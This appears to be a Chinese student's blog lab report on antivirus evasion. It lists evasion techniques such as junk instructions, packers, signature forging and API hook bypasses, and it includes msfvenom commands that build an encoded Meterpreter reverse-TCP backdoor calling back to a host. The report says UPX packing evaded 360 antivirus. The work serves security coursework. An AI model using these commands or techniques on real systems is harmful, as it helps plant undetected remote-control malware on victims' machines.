20155325 Exp3 免杀原理与实践

基础问题回答

杀软是如何检测出恶意代码的?

1.1 基于特征码的检测

1.1.1 特征库举例-Snort

1.2 启发式恶意软件检测

1.3 基于行为的恶意软件检测

免杀是做什么?

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

免杀的基本方法有哪些?

手工修改;
非源码

  1. 数据

如果特征码定位到数据(通过IDA/OD等确认),其实不好修改,稍微不慎就会导致程序不能运行,或者影响程序运行流程或结果。

字符串,如果不影响程序逻辑,可以替换大小写;如果无关紧要的数据,随意替换;等等,看情况而定。
整数,如果不影响结果,替换值,清零等等操作。
地址,基本应该不能修改,具体看情况。
PE头数据,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。
最后,终极修改方法,找到访问数据的代码,直接修改代码访问数据的地址,数据也可以放到其他地址了,其实就如同修改源码一样修改,肯定没有修改源码那么容易(见后)。
反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。

  1. 代码

如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。

等价替换汇编代码,如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。
交换代码顺序,在不影响逻辑的情况下。
代码块移位,将代码块移动不用的内存位置,通过加入jmp addr跳过去执行,addr是新的代码块地址。
源码

在有源码的情况下,修改的方式就更灵活了,更简单了。

如果特征码是数据,那么修改数据位置,访问数据的代码位置等(思想类比非源码方式)。

加花指令,这是最有效也是最常用的方式,要点在于如何加话指令。

加数据计算代码,加减乘除各类组合。
加字符串操作代码,增加、删除、查找、替换等。
加多层跳转,跳转间加无效指令(不会执行的)。
加貌似有效的API调用,如LoadLibrary+GetProcAddr+API等。
等等。
工具免杀;
在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。

资源操作

  1. 加资源

使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。

  1. 替换资源

使用ResHacker替换无用的资源(Version等)。

  1. 加签名

使用签名伪造工具,将正常软件的签名信息加入到自己软件中。

几种方式可以交替重复多次进行组合使用。

PE操作

  1. PE优化

使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。

  1. 增加节

增加节数据,随意加入无效数据。

加壳

可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。

通过加密器/压缩器将原始代码进行加密压缩,让其特征码变化隐藏,然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,将加密压缩内容解密解压,然后继续运行原始代码。

  1. 加冷门壳

壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。

所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。

  1. 加壳改壳

将常用壳进行修改,让壳特征变化,也可以是杀软失效。

比如修改入口,区段信息修改,入口代码移位。

可以类比为免杀壳,上面介绍的方法都可以使用。
动态行为免杀

  1. 替换api

使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。比如MoveFileEx替换MoveFile。

  1. 未导出api

寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,寻找未导出API有一定效果。

寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。

  1. 重写api

完全重写系统API功能(通过逆向),实现自己的对应功能API,对于ring3的行为拦截非常有效。比如实现MoveFile等。

  1. api+5

ring3的API拦截通过是挂钩API头几个字节内容,然后进入杀软自己函数进行参数检查之类的。

那么如果调用API时,跳过头部几字节,就可以避开这种拦截方式。

__API:
1 push ebp;
2 mov ebp, esp;
3 mov edi, edi;
4 ...
调用时,不适用1地址,而使用4地址,然后自己函数内部还原跳过几字节的调用。

__API_MY:
push ebp;
mov ebp, esp;
mov edi, edi;
call 4
5. 底层api

该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。

或者通过DeviceIoControl调用驱动功能来完成API功能。

模拟系统调用。

  1. 合理替换调用顺序

有时拦截行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。

比如,先创建服务,再将服务对应文件拷贝过去。

  1. 绕过调用源

通过调用其它进行功能来完成API的功能。比较经典的如,通过rundll32.exe来完成dll加载,通过COM来操作文件等等。

参考: 免杀技术有一套(免杀方法大集结)

实践总结与体会

越学这门课越觉得心惊

离实战还缺些什么技术或步骤?

1.如何将程序悄无声息地植入对方电脑
2.如何使对方电脑的程序运行,并成功与控制端连接
3.随着时间的推移,杀软数据库会更新,被查杀的可能性增加

实践过程记录

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

把上一次实验用msfvenom生成的5325bd.exe放入http://www.virscan.org/进行检测

按照教程用msfvenom多次编译

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
 
 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

其实检测结果并没有 太大的变化

用msfvenom生成.jar和.php

用msfvenom生成shellcode,做成20155325.c

用C语言重写meterperter

把成果进行检测

把20155325.c编译成可执行文件(后改名为p5325..exe)

进行检测

通过组合应用各种技术实现恶意代码免杀

max5325.c

加壳并检测

以上的程序中:p5325.exe p5325_upx.exe在win10的360杀毒下实现免杀

但是很恶心心的事情就是
两个都回连失败

实验中遇到的问题及思考

  • 问题一:想要上传到网站上检测,但是后门软件一传到主机就被杀软干掉了

  • 解决:当然是选择信任它

  • 问题二:在进行检测时

  • 解决:去掉2015就好……可能年份会让这么一个网站感到时光流逝的沧桑,所以拒绝有关年纪的话题。

参考链接

posted @ 2018-04-10 23:26  难能可贵成功犯傻  阅读(241)  评论(1编辑  收藏  举报